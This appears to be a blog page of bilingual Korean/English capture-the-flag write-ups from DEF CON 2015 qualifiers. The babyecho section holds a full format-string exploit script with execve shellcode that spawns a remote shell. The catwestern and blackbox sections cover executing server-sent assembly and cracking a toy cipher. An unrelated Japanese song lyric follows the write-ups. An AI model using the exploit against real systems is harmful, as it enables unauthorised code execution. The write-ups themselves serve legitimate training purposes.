English: Link


다음과 같은 바이너리가 주어집니다.

babyecho_eb11fdf6e40236b1a37b7974c53b6c3d

보호기법을 확인해보면 canary나 NX, PIE 모두 없는 것을 확인할 수 없습니다.

이를 IDA로 열어보면 함수가 매우 많이 나오는데 static file이기 때문입니다. 그래서 분석이 조금 힘들어집니다.

String에서 Reading %d bytes를 찾아서 함수를 따라가면 0x8048f3c에 함수가 나옵니다.

14초 alarm이 있으므로 이를 꺼버리고 디버깅을 해봅시다. 0x804f560함수가 printf같은데, 인자를 한 개만 받네요. Format String Bug를 의심해볼 수 있습니다. 함수를 호출한 직후에 BP를 여러개 걸어봅시다.

0x8049014에서 멈췄을 때 printf가 실행됩니다. 또한 input을 %x %x로 넣었더니 d와 a가 출력이 되는 것을 볼 수 있습니다.

stack 상황을 살펴봅시다.

실제로 d와 a가 있는 것을 확인할 수 있습니다. 또한 우리가 입력한 문자열은 0xffffd2dc에 저장되는데, 이를 가리키는 포인터도 스택에 저장되어있습니다.

0xd는 13인데, 이 값이 바뀌면 더 많이 읽는지 확인해봅시다. 0xd 값이 두 개이므로 하나씩 바꿔보면 0xffffd2d0에 있는 값을 바꾸면 그만큼 읽는다는 것을 확인할 수 있습니다.

그러면 우선 저 값을 여유롭게 바꾼 다음에, shellcode를 버퍼에 올린 뒤 return address를 buf로 바꿉시다.

1단계: 서버에는 ASLR이 걸려있으니 %5$x로 buf의 주소(0xffffd2dc)를 알아냅니다.

2단계: 이 buf 값에 12를 뺀 값(0xffffd2d0)을 input 제일 처음에 주면 %7$x에 주소값이 들어갑니다. 그런 다음 적당히 %10000c를 해준 뒤 %7$n을 하면 0xffffd2d0의 값을 바꿀 수 있습니다. 이 때 처음 payload는 13Byte를 넘으면 안 되므로, '\xd0\xd2\xff\xff%99c%7$n\n'가 최대입니다.

3단계: NOP+shellcode를 버퍼에 넣습니다.

4단계: 그런 다음 return address는 %267$x에 저장된 것을 확인할 수 있습니다. 그 주소는 buf+1040인데, 위처럼 이 값을 처음에 넣고 이 때 위에서 넣은 NOP+shellcode가 일부 덮어씌워지므로 buf+28정도를 return address로 덮어씌웁니다. 이 때, 한 번에 덮어씌우려면 %4294956780c를 해야하는데 이는 너무 기므로 %hn을 이용하여 2Byte씩 잘라서 넣어줍시다. '\xec\xd6\xff\xff%54008c%7$hn', '\xee\xd6\xff\xff%65531c%7$hn'

이렇게 해서 payload를 보냈는데 안 되는 겁니다. 왜 그런지 살펴보니 main을 return을 해야하는데 무한루프를 돌다가 alarm으로 끝나버려서 그러질 않더라고요. 멘붕에 빠져서 자세히 살펴보니 esp+0x18의 값이 0이 아니면 루프를 빠져나오는 것을 볼 수 있습니다.

그래서 마지막으로 buf-4에 0이 아닌 값을 덮어씌워주면 됩니다.

최종 payload는 다음과 같습니다.

from socket import *
from struct import pack

p = lambda x:pack("<I", x)
s = socket(2,1)
s.connect(('babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me',3232))

# first
print s.recv(1024)
s.send('%5$x\n')
buf = int(s.recv(1024), 16)
s.recv(1024)
print hex(buf)

# second
N=(buf-0xc)
payload = p(N)+"%99c%7$n\n"
print '[+]payload len:',len(payload)
s.send(payload)
print s.recv(1024).encode('hex')

# third
print s.recv(2**20)
payload = '\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' # x86 shellcode
payload = '\x90'*70+payload+'\n'
s.send(payload)
s.recv(2**16)

# fourth: bottom half
print s.recv(1024)
payload = p(buf+1040)+'%'+str((buf+28)&0xffff).rstrip('L')+'c%7$hn\n'
print '[+]third payload:',payload[:4].encode('hex')+payload[4:]
print '[+]third len:',len(payload)
s.send(payload)
print s.recv(2**16)

# fifth: top half
print s.recv(1024)
payload = p(buf+1042)+'%'+str((((buf+28)&0xffff0000)>>16)-4).rstrip('L')+'c%7$hn\n'
print '[+]fourth payload:',payload[:4].encode('hex')+payload[4:]
print '[+]fourth len:',len(payload)
s.send(payload)
print s.recv(2**16)

s.send('%267$x\n')

# exit
print s.recv(2**16)
payload = p(buf-4)+'%7$n\n'
s.send(payload)

import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()


Flag: 1s 1s th3r3 th3r3 @n @n 3ch0 3ch0 1n 1n h3r3 h3r3? 3uoiw!T0*%

한국어(Korean): Link


Accessing the server, the values of registers and weird string are given.

When we encode the string in hex, they all end with 'c3', which is opcode for "retq" in x64 assembly. Thus we can infer that we have to execute the assembly code and return the values of registers in the same format.

It's hard to run opcode in python so we'll use python as wrapper that uses socket and call C-compiled binary using subprocess module.

We can access the rax register in C by

register unsigned long long rax asm("rax");

Let's put the assembly code in a character array "code" and run it.


#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    void (*f)();
    register unsigned long long rax asm("rax");
    register unsigned long long rbx asm("rbx");
    register unsigned long long rcx asm("rcx");
    register unsigned long long rdx asm("rdx");
    register unsigned long long rsi asm("rsi");
    register unsigned long long rdi asm("rdi");
    register unsigned long long r8 asm("r8");
    register unsigned long long r9 asm("r9");
    register unsigned long long r10 asm("r10");
    register unsigned long long r11 asm("r11");
    register unsigned long long r12 asm("r12");
    register unsigned long long r13 asm("r13");
    register unsigned long long r14 asm("r14");
    register unsigned long long r15 asm("r15");

    unsigned long long _rax=0,_rbx=0,_rcx=0,_rdx=0,_rsi=0,_rdi=0,_r8=0,_r9=0,_r10=0,_r11=0,_r12=0,_r13=0,_r14=0,_r15=0;
    unsigned char code[1024]={0,};
    unsigned char tmp[3]={0,};
    int tmp2=0;

    if(argc<17) { printf("nope\n"); return 0; }

    int i;
    // put hex-encoded assembly in char[] code
    for(i=0; i<atoi(argv[1]); i++) {
        memcpy(tmp, argv[16]+i*2, 2);
        tmp2=strtol(tmp, &tmp, 16);
        code[i]=tmp2;
    }
    _rax =strtoll(argv[2], 0, 16);
    _rbx =strtoll(argv[3], 0, 16);
    _rcx =strtoll(argv[4], 0, 16);
    _rdx =strtoll(argv[5], 0, 16);
    _rsi =strtoll(argv[6], 0, 16);
    _rdi =strtoll(argv[7], 0, 16);
    _r8  =strtoll(argv[8], 0, 16);
    _r9  =strtoll(argv[9], 0, 16);
    _r10=strtoll(argv[10], 0, 16);
    _r11=strtoll(argv[11], 0, 16);
    _r12=strtoll(argv[12], 0, 16);
    _r13=strtoll(argv[13], 0, 16);
    _r14=strtoll(argv[14], 0, 16);
    _r15=strtoll(argv[15], 0, 16);

    f=(void *)code;

    rax=_rax;rbx=_rbx;rcx=_rcx;rdx=_rdx;
    rsi=_rsi;rdi=_rdi;r8=_r8;r9=_r9;
    r10=_r10;r11=_r11;r12=_r12;r13=_r13;
    r14=_r14;r15=_r15;

// Location of f: rbp-0xb8
    asm volatile(
        "call -0xb8(%rbp)\n\t"
    );
    _rax=rax;_rbx=rbx;_rcx=rcx;_rdx=rdx;
    _rsi=rsi;_rdi=rdi;_r8=r8;_r9=r9;
    _r10=r10;_r11=r11;_r12=r12;_r13=r13;
    _r14=r14;_r15=r15;
    printf("rax=0x%llx\n", _rax);
    printf("rbx=0x%llx\n", _rbx);
    printf("rcx=0x%llx\n", _rcx);
    printf("rdx=0x%llx\n", _rdx);
    printf("rsi=0x%llx\n", _rsi);
    printf("rdi=0x%llx\n", _rdi);
    printf("r8=0x%llx\n",  _r8);
    printf("r9=0x%llx\n",  _r9);
    printf("r10=0x%llx\n", _r10);
    printf("r11=0x%llx\n", _r11);
    printf("r12=0x%llx\n", _r12);
    printf("r13=0x%llx\n", _r13);
    printf("r14=0x%llx\n", _r14);
    printf("r15=0x%llx", _r15);
    return 0;
}


여기서 f()로 호출하면 컴파일러가 rax에 f의 주소를 넣고 call *%rax의 형태로 바뀌어서 rax값을 보존하기 위해 call 어셈블리를 inline으로 직접 넣었습니다. rbp-0xb8은 한번 컴파일을 해본 뒤 f가 어디에있는지 직접 찾아서 넣은 것입니다. f를 직접 호출하려고했는데 inline assembly와 C언어 변수간의 호환이 어렵더군요...

The reason I put "call rbp-0xb8" is because if we just call f() then the compiler put the address of f in rax and call *%rax when the value of rax must remain intact. I compiled the code first then figured out f is at rbp-0xb8. I wanted to call f directly but using C variable in inline assembly is harder than I thought...

We need to run code in stack so make it executable by giving "-z execstack" option in gcc:

gcc -o catwestern catwestern.c -z execstack -fno-stack-protector -g

Finally we just have to call the binary appropriately in python wrapper


from socket import *

s = socket(2,1)
s.connect(('catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me',9999))
reg = s.recv(2048)

print reg
reg = reg.split('\n')[1:]
for i in reg:
    exec i

a = s.recv(2048)
print a
a = a.split('\n')
a = '\n'.join(a[2:])
print 'LENGTH:', len(a)

regs = [rax,rbx,rcx,rdx,rsi,rdi,r8,r9,r10,r11,r12,r13,r14,r15]
for n,i in enumerate(regs):
    if i>0x7fffffffffffffff:
        regs[n] = -(0xffffffffffffffff-i+1)
cmd=('./catwestern %d ' +'%x '*14+ '%s')%(len(a),
    regs[0],regs[1],regs[2],regs[3],regs[4],
    regs[5],regs[6],regs[7],regs[8],regs[9],
    regs[10],regs[11],regs[12],regs[13],a.encode('hex'))

import subprocess
print cmd
t = subprocess.check_output(cmd, shell=True)

for i in t.split('\n'):
    exec i

ans = '''rax=0x%x
rbx=0x%x
rcx=0x%x
rdx=0x%x
rsi=0x%x
rdi=0x%x
r8=0x%x
r9=0x%x
r10=0x%x
r11=0x%x
r12=0x%x
r13=0x%x
r14=0x%x
r15=0x%x
''' % (rax,rbx,rcx,rdx,rsi,rdi,r8,r9,r10,r11,r12,r13,r14,r15)
print ans
s.send(ans)
print s.recv(2048)



Flag: Cats with frickin lazer beamz on top of their heads!

English: Link


서버에 접속하면 레지스터의 값들과 이상한 문자열이 주어집니다.

오는 문자열을 hex encode해보면 모두 c3으로 끝나는데, 이는 x64에서 retq 명령어입니다. 따라서 저 assembly코드를 실행한 뒤, 레지스터의 값들을 같은 형태로 반환해주면 됩니다.

python으로 어셈블리어를 실행하기는 힘드므로 python으로 socket통신을 해서 레지스터 초기값을 받은 뒤 subprocess를 이용해 C언어로 컴파일한 바이너리를 이용합시다.

C에서

register unsigned long long rax asm("rax");

로 rax변수를 선언하면 rax 레지스터의 값에 접근할 수 있습니다.

전해받은 assembly어를 code배열에 넣은 뒤 이를 실행합시다.


#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    void (*f)();
    register unsigned long long rax asm("rax");
    register unsigned long long rbx asm("rbx");
    register unsigned long long rcx asm("rcx");
    register unsigned long long rdx asm("rdx");
    register unsigned long long rsi asm("rsi");
    register unsigned long long rdi asm("rdi");
    register unsigned long long r8 asm("r8");
    register unsigned long long r9 asm("r9");
    register unsigned long long r10 asm("r10");
    register unsigned long long r11 asm("r11");
    register unsigned long long r12 asm("r12");
    register unsigned long long r13 asm("r13");
    register unsigned long long r14 asm("r14");
    register unsigned long long r15 asm("r15");

    unsigned long long _rax=0,_rbx=0,_rcx=0,_rdx=0,_rsi=0,_rdi=0,_r8=0,_r9=0,_r10=0,_r11=0,_r12=0,_r13=0,_r14=0,_r15=0;
    unsigned char code[1024]={0,};
    unsigned char tmp[3]={0,};
    int tmp2=0;

    if(argc<17) { printf("nope\n"); return 0; }

    int i;
    // hex encode된 명령어 code에 넣기
    for(i=0; i<atoi(argv[1]); i++) {
        memcpy(tmp, argv[16]+i*2, 2);
        tmp2=strtol(tmp, &tmp, 16);
        code[i]=tmp2;
    }
    _rax =strtoll(argv[2], 0, 16);
    _rbx =strtoll(argv[3], 0, 16);
    _rcx =strtoll(argv[4], 0, 16);
    _rdx =strtoll(argv[5], 0, 16);
    _rsi =strtoll(argv[6], 0, 16);
    _rdi =strtoll(argv[7], 0, 16);
    _r8  =strtoll(argv[8], 0, 16);
    _r9  =strtoll(argv[9], 0, 16);
    _r10=strtoll(argv[10], 0, 16);
    _r11=strtoll(argv[11], 0, 16);
    _r12=strtoll(argv[12], 0, 16);
    _r13=strtoll(argv[13], 0, 16);
    _r14=strtoll(argv[14], 0, 16);
    _r15=strtoll(argv[15], 0, 16);

    f=(void *)code;

    rax=_rax;rbx=_rbx;rcx=_rcx;rdx=_rdx;
    rsi=_rsi;rdi=_rdi;r8=_r8;r9=_r9;
    r10=_r10;r11=_r11;r12=_r12;r13=_r13;
    r14=_r14;r15=_r15;

// f의 위치: rbp-0xb8
    asm volatile(
        "call -0xb8(%rbp)\n\t"
    );
    _rax=rax;_rbx=rbx;_rcx=rcx;_rdx=rdx;
    _rsi=rsi;_rdi=rdi;_r8=r8;_r9=r9;
    _r10=r10;_r11=r11;_r12=r12;_r13=r13;
    _r14=r14;_r15=r15;
    printf("rax=0x%llx\n", _rax);
    printf("rbx=0x%llx\n", _rbx);
    printf("rcx=0x%llx\n", _rcx);
    printf("rdx=0x%llx\n", _rdx);
    printf("rsi=0x%llx\n", _rsi);
    printf("rdi=0x%llx\n", _rdi);
    printf("r8=0x%llx\n",  _r8);
    printf("r9=0x%llx\n",  _r9);
    printf("r10=0x%llx\n", _r10);
    printf("r11=0x%llx\n", _r11);
    printf("r12=0x%llx\n", _r12);
    printf("r13=0x%llx\n", _r13);
    printf("r14=0x%llx\n", _r14);
    printf("r15=0x%llx", _r15);
    return 0;
}


여기서 f()로 호출하면 컴파일러가 rax에 f의 주소를 넣고 call *%rax의 형태로 바뀌어서 rax값을 보존하기 위해 call 어셈블리를 inline으로 직접 넣었습니다. rbp-0xb8은 한번 컴파일을 해본 뒤 f가 어디에있는지 직접 찾아서 넣은 것입니다. f를 직접 호출하려고했는데 inline assembly와 C언어 변수간의 호환이 어렵더군요...

컴파일 할 때는 stack을 실행해야하므로 다음과같이 컴파일합니다.

gcc -o catwestern catwestern.c -z execstack -fno-stack-protector -g

그런 뒤 python wrapper로 인자를 맞춰서 전달해주면 됩니다.


from socket import *

s = socket(2,1)
s.connect(('catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me',9999))
reg = s.recv(2048)

print reg
reg = reg.split('\n')[1:]
for i in reg:
    exec i

a = s.recv(2048)
print a
a = a.split('\n')
a = '\n'.join(a[2:])
print 'LENGTH:', len(a)

regs = [rax,rbx,rcx,rdx,rsi,rdi,r8,r9,r10,r11,r12,r13,r14,r15]
for n,i in enumerate(regs):
    if i>0x7fffffffffffffff:
        regs[n] = -(0xffffffffffffffff-i+1)
cmd=('./catwestern %d ' +'%x '*14+ '%s')%(len(a),
    regs[0],regs[1],regs[2],regs[3],regs[4],
    regs[5],regs[6],regs[7],regs[8],regs[9],
    regs[10],regs[11],regs[12],regs[13],a.encode('hex'))

import subprocess
print cmd
t = subprocess.check_output(cmd, shell=True)

for i in t.split('\n'):
    exec i

ans = '''rax=0x%x
rbx=0x%x
rcx=0x%x
rdx=0x%x
rsi=0x%x
rdi=0x%x
r8=0x%x
r9=0x%x
r10=0x%x
r11=0x%x
r12=0x%x
r13=0x%x
r14=0x%x
r15=0x%x
''' % (rax,rbx,rcx,rdx,rsi,rdi,r8,r9,r10,r11,r12,r13,r14,r15)
print ans
s.send(ans)
print s.recv(2048)



Flag: Cats with frickin lazer beamz on top of their heads!

한국어(Korean): Link


Encryption is done in 95Byte string of "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ ". You send any string and it shows the string encrypted. It means we'll have to do chosen plaintext attack in blackbox.

Stage 1 is simple. You send strings like "ABC" and it is encrypted as "def", and key is different every time.

ABC

Password [def]\tExpected [????]

Let's say plaintext is \(x_0, x_1, ..., x_n\) and ciphertext is \(y_0, y_1, ..., y_n\) then encryption method is as follows: (All the operations are done in modulus 95, the number of characters available)

\[y_n = x_n + \text{key}\]


Stage 2 it gets a little more complex.

ABCDEFG

Password [ABDHPF"]\tExpected [????]

ABBBBBB

Password [BDGMYwB]\tExpected [????]

Since same plaintexts are encrypted as same ciphertext, there is no key. Looking into it, you can find the encryption method:

\[ y_n = \begin{cases} x_0 & \text{if } n=0 \cr x_n + \sum \limits_{i=0}^{n-1} y_i & \text{if } n\ge 1 \end{cases} \]


Stage 3.

AA

Password [Ad]\tExpected [????]

ACCCC

Password [Af8`X]\tExpected [????]

Same plaintexts are not encrypted the same. Encryption method is:

\[ y_n = \begin{cases} x_0 & \text{if } n=0 \cr \text{key}+x_n-x_{n-1} & \text{if } n\ge 1 \end{cases} \]


Stage 4.

QWERQWER

Password [Zl}@+k{<]\tExpected [????]

\(n\) being the length of string,

\[ y_i = \begin{cases} \text{?} & \text{if } i=0 \cr 2\times y_{i-1}-(x_{n-i}-x_{n-i-1}) & \text{if } i\ge 1 \end{cases} \]

That is,

P: 16 22 04 17 16 22 04 17

C: 25 37 92 83 72 36 90 79

\( y_1 = 2\times y_0 - (x_7-x_6) = 2\times 25-(17-04) = 37\)

\( y_2 = 2\times y_1 - (x_6-x_5) = 2\times 37-(04-22) = 92\)

I could not find out how the first character is encrypted, so I tried all 95 characters and chose one that made sense.


Stage 5. It took nearly 3 hours solving stage 4 and 5 alone.

A

Password [Z]\tExpected [????]

AA

Password [a1]\tExpected [????]

AAA

Password [AdL]\tExpected [????]

Encrypting the first character 'A' solely resulted in 'Z', but with the second character it became 'a'. So I thought it was block cipher.

I tried a couple of things and assumed the size of block is 4.

AAAAAAAAAAAAAAAA

Password [d7xYEJnT<#((is`-[]\tExpected [????]

Writing these in numbers:

P: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

C: 29 59 49 24 04 09 39 19 79 64 69 34 44 89 74 84

The relationship between \(y_0\) and \(y_1\) can be defined as \(y_1=2\times y_0+1\). But it does not hold for \(y_2\) and \(y_3\).

It's because they're permuted. In the block of size 4, the third and the fourth characters are switched.

Switching back results in:

C': 29 59 24 49 04 09 19 39 79 64 34 69 44 89 84 74

Now it is certain that \(y_n=2\times y_{n-1}+1\).


Let's take a look at others.

ABCD

Password [2P%g]\tExpected [????]

P: 00 01 02 03

C: 54 15 66 32

C': 54 15 32 66

All components are in the form of \(y_n=2\times y_{n-1}+2\).

So we can normalize the process:

In a sequence C' where 3rd and 4th characters are switched from C,

\[ y_n = \begin{cases} \text{?} & \text{if } n=0 \cr 2\times y_{n-1} +1 + (x_n-x_{n-1}) & \text{if } n\ge 1 \end{cases} \]

Again I couldn't find out how first character is encrypted, so I tried every character.

Decrypting the last Exptected [sI~Od$5Z?KBfUw|n7R&P5{\a;D{| 7p"h=K=)5`hH`-[6W] to get:

The flag is: Gr3aT j0b! BlackBox Ma$Ter$@!!!%%


I wrote my code as below.

I was going fine until stage 3, but I had to try things in other module so I put them altogether. That's why it is so messy..

from socket import *
import re
import telnetlib

s = socket(2,1)
s.connect(('blackbox_ced7f267475a0299446fa86c26d77161.quals.shallweplayaga.me', 18324))
s.recv(1024) # you need to ~
print s.recv(1024)

#level 1
s.send('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\n')
tmp = s.recv(1024)
pat = re.compile("Password \[(.+)\]\tExpected \[(.+)\]")
pw1, expected = re.findall(pat, tmp)[0]

s.send('''0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ \n''')
tmp = s.recv(1024)
pw2 = re.findall(pat, tmp)[0][0]

pw = pw1+pw2
d={}
allchars = '''ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ '''
p = ''
for i in expected:
    p += allchars[pw.index(i)]
print 'PASSWORD:',p
s.send(p+'\n')

s.recv(1024)
s.recv(1024)

#level 2
#s.send('ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'\n')
s.send('a'+'\n')
tmp = s.recv(1024)
print tmp
pw1, expected= re.findall(pat, tmp)[0]

pw=''
smallsum = 0

for i in expected:
    pw += allchars[(allchars.index(i)-smallsum)%len(allchars)]
    smallsum += allchars.index(i)
print 'PW=',pw
s.send(pw+'\n')
s.recv(1024)

#level 3
print s.recv(1024)
s.send('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\n')
tmp = s.recv(1024)
pw1, expected = re.findall(pat, tmp)[0]

s.send('''0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ \n''')
tmp = s.recv(1024)
pw2 = re.findall(pat, tmp)[0][0]

pw = pw1[::-1]+pw2[::-1]
p = ''
for i in expected:
    p += allchars[pw.index(i)]
p=p[::-1]
print 'PASSWORD:',p
s.send(p+'\n')
s.recv(1024)
print s.recv(1024)

s.send('AA\n')
tmp = s.recv(1024)
pw1, expected = re.findall(pat, tmp)[0]

key = allchars.index(pw1[1])-allchars.index(pw1[0])
k = ''
for n,i in enumerate(expected):
    if not k: k += i
    else: k += allchars[(allchars.index(i) - allchars.index(expected[n-1]) + allchars.index(k[-1]) -key)%len(allchars)]
print 'PW=',k
s.send(k+'\n')
s.recv(1024)
s.recv(1024)

#level 5
s.send('A\n')
tmp = s.recv(1024)
pw1, expected = re.findall(pat, tmp)[0]
def do(key, expected):
    k = ''
    t = []
    for i in expected:
        t.append((allchars.index(i)*2)%len(allchars))
    r = []
    for i,j in zip(t, expected[1:]):
        r.append(i-allchars.index(j))

    k += allchars[(allchars.index(expected[0])-key)%len(allchars)]
    for i in r[::-1]:
        k += allchars[(allchars.index(k[-1])+i)%len(allchars)]
    return k

for key in range(95):
    aaaaa555=do(key,expected)
    if ' ' in aaaaa555:
        print key, aaaaa555
key = input('Please chose key:')
k = do(key, expected)
s.send(k+'\n')

print s.recv(1024)
print s.recv(1024)

tc = telnetlib.Telnet()
tc.sock = s
tc.interact()


English: Link


서버에 접속하면 "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ "의 95Byte 문자열 안에서 암호화가 이루어집니다. 아무 문자열이나 보내면 입력한 문자열에 대한 암호문이 주어지고, 해독해야하는 암호문이 주어집니다. 즉 코드를 알 수 없는 blackbox에서 chosen plaintext attack을 해야하는 문제입니다.

1단계는 간단합니다. ABC를 보내면 def 등으로 암호화되는데, key는 매번 달라집니다.

ABC

Password [def]\tExpected [????]

평문을 \(x_0, x_1, ..., x_n\), 암호문을 \(y_0, y_1, ..., y_n\)이라고 하면 암호화 방식은 다음과 같습니다. (모든 연산은 modulus 95(가능한문자열들)로 이루어집니다.)

\[y_n = x_n + \text{key}\]


2단계부터는 살짝 복잡해집니다.

ABCDEFG

Password [ABDHPF"]\tExpected [????]

ABBBBBB

Password [BDGMYwB]\tExpected [????]

똑같은 암호를 보내면 똑같은 암호문이 오는 것으로 보아 달라지는 key는 없습니다.

잘 살펴보면 다음과 같이 암호화되는 것을 알 수 있습니다.

\[ y_n = \begin{cases} x_0 & \text{if } n=0 \cr x_n + \sum \limits_{i=0}^{n-1} y_i & \text{if } n\ge 1 \end{cases} \]


3단계입니다.

AA

Password [Ad]\tExpected [????]

ACCCC

Password [Af8`X]\tExpected [????]

같은 문자열을 보내도 암호문이 같지 않습니다. 다음 식으로 암호화됩니다.

\[ y_n = \begin{cases} x_0 & \text{if } n=0 \cr \text{key}+x_n-x_{n-1} & \text{if } n\ge 1 \end{cases} \]


4단계입니다.

Stage 4.

QWERQWER

Password [Zl}@+k{<]\tExpected [????]

n이 문자열의 길이일 때,

\[ y_i = \begin{cases} \text{?} & \text{if } i=0 \cr 2\times y_{i-1}-(x_{n-i}-x_{n-i-1}) & \text{if } i\ge 1 \end{cases} \]

P: 16 22 04 17 16 22 04 17

C: 25 37 92 83 72 36 90 79

\( y_1 = 2\times y_0 - (x_7-x_6) = 2\times 25-(17-04) = 37\)

\( y_2 = 2\times y_1 - (x_6-x_5) = 2\times 37-(04-22) = 92\)

이 됩니다.

첫 글자가 어떻게 암호화/복호화되는지는 알아내지 못해서 첫 글자를 하나씩 다 대입해보면서 문자열을 암호화해봤습니다.


5단계입니다. 4, 5단계 푸는데 합쳐서 3시간정도 걸린 것 같네요...

5단계를 알아낸 다음에는 어이없음과 허탈한 느낌이었어요.

A

Password [Z]\tExpected [????]

AA

Password [a1]\tExpected [????]

AAA

Password [AdL]\tExpected [????]

첫 A를 암호화했을 때 Z가 나왔는데 두 번째에서는 a가 됩니다. 따라서 이는 block cipher일 것이라고 생각을 했어요.

몇 가지를 더 시도해본 뒤 블록이 4글자정도일 것이라고 추측했습니다.

AAAAAAAAAAAAAAAA

Password [d7xYEJnT<#((is`-[]\tExpected [????]

이를 숫자로 표현하면 다음과 같습니다.

P: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

C: 29 59 49 24 04 09 39 19 79 64 69 34 44 89 74 84

\(y_0\)와 \(y_1\)의 관계는 \(y_1=2\times y_0+1\)로 표현됩니다. 그런데 그 뒤로는 전혀 엉뚱한 것이 나오죠.

이는 Permutation이 이루어진 것입니다. 4개의 블록 안에서 3번째와 4번째의 위치가 서로 바뀐 것이죠.

다시 3번째와 4번째를 바꾸면 다음과 같습니다.

C': 29 59 24 49 04 09 19 39 79 64 34 69 44 89 84 74

이렇게 보면 \(y_n=2\times y_{n-1}+1\)임이 확실해지죠.


다른 문자열은 어떻게 되는지 살펴봅시다.

ABCD

Password [2P%g]\tExpected [????]

P: 00 01 02 03

C: 54 15 66 32

C': 54 15 32 66

모두 \(y_n=2\times y_{n-1}+2\)임을 알 수 있습니다.

따라서 일반화를 하면 다음과 같습니다.

C를 4Byte씩의 Block으로 나눈 뒤 3번째와 4번째를 바꾼 C'의 수열에서

\[ y_n = \begin{cases} \text{?} & \text{if } n=0 \cr 2\times y_{n-1} +1 + (x_n-x_{n-1}) & \text{if } n\ge 1 \end{cases} \]

이것도 첫 글자를 모르기 때문에 첫 글자를 바꿔가며 복호화했습니다.

마지막 Exptected [sI~Od$5Z?KBfUw|n7R&P5{\a;D{| 7p"h=K=)5`hH`-[6W]를 복호화하면 다음 문자열이 나옵니다.

The flag is: Gr3aT j0b! BlackBox Ma$Ter$@!!!%%


코드는 다음과 같습니다.

3단계까지는 하나에 짜고 그 다음부터는 테스트해본다음 원래코드에 붙여넣은거라 코드가 난잡합니다..

from socket import *
import re
import telnetlib

s = socket(2,1)
s.connect(('blackbox_ced7f267475a0299446fa86c26d77161.quals.shallweplayaga.me', 18324))
s.recv(1024) # you need to ~
print s.recv(1024)

#level 1
s.send('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\n')
tmp = s.recv(1024)
pat = re.compile("Password \[(.+)\]\tExpected \[(.+)\]")
pw1, expected = re.findall(pat, tmp)[0]

s.send('''0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ \n''')
tmp = s.recv(1024)
pw2 = re.findall(pat, tmp)[0][0]

pw = pw1+pw2
d={}
allchars = '''ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ '''
p = ''
for i in expected:
    p += allchars[pw.index(i)]
print 'PASSWORD:',p
s.send(p+'\n')

s.recv(1024)
s.recv(1024)

#level 2
#s.send('ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'\n')
s.send('a'+'\n')
tmp = s.recv(1024)
print tmp
pw1, expected= re.findall(pat, tmp)[0]

pw=''
smallsum = 0

for i in expected:
    pw += allchars[(allchars.index(i)-smallsum)%len(allchars)]
    smallsum += allchars.index(i)
print 'PW=',pw
s.send(pw+'\n')
s.recv(1024)

#level 3
print s.recv(1024)
s.send('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\n')
tmp = s.recv(1024)
pw1, expected = re.findall(pat, tmp)[0]

s.send('''0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ \n''')
tmp = s.recv(1024)
pw2 = re.findall(pat, tmp)[0][0]

pw = pw1[::-1]+pw2[::-1]
p = ''
for i in expected:
    p += allchars[pw.index(i)]
p=p[::-1]
print 'PASSWORD:',p
s.send(p+'\n')
s.recv(1024)
print s.recv(1024)

s.send('AA\n')
tmp = s.recv(1024)
pw1, expected = re.findall(pat, tmp)[0]

key = allchars.index(pw1[1])-allchars.index(pw1[0])
k = ''
for n,i in enumerate(expected):
    if not k: k += i
    else: k += allchars[(allchars.index(i) - allchars.index(expected[n-1]) + allchars.index(k[-1]) -key)%len(allchars)]
print 'PW=',k
s.send(k+'\n')
s.recv(1024)
s.recv(1024)

#level 5
s.send('A\n')
tmp = s.recv(1024)
pw1, expected = re.findall(pat, tmp)[0]
def do(key, expected):
    k = ''
    t = []
    for i in expected:
        t.append((allchars.index(i)*2)%len(allchars))
    r = []
    for i,j in zip(t, expected[1:]):
        r.append(i-allchars.index(j))

    k += allchars[(allchars.index(expected[0])-key)%len(allchars)]
    for i in r[::-1]:
        k += allchars[(allchars.index(k[-1])+i)%len(allchars)]
    return k

for key in range(95):
    aaaaa555=do(key,expected)
    if ' ' in aaaaa555:
        print key, aaaaa555
key = input('Please chose key:')
k = do(key, expected)
s.send(k+'\n')

print s.recv(1024)
print s.recv(1024)

tc = telnetlib.Telnet()
tc.sock = s
tc.interact()



こんにちわ 初音(はつね)ミクだよ

音域(おんいき)テストを始(はじ)めるよ

高音厨(こうおんちゅう)のお前(まえ)らならば

余裕(よゆう)で歌(うた)えるね


hiA hiB hiC hiD hiC


こんなの重低音(じゅうていおん)だね


すこしだけ音(おと)を上(あ)げるよ

普通(ふつう)の人(ひと)なら出(で)ないけど

高音厨(こうおんちゅう)のお前(まえ)らならば

風邪(かぜ)でも歌(うた)えるね


hiD hiE hiF hiG hiF


まだまだ中音域(じゅうていおん)だね


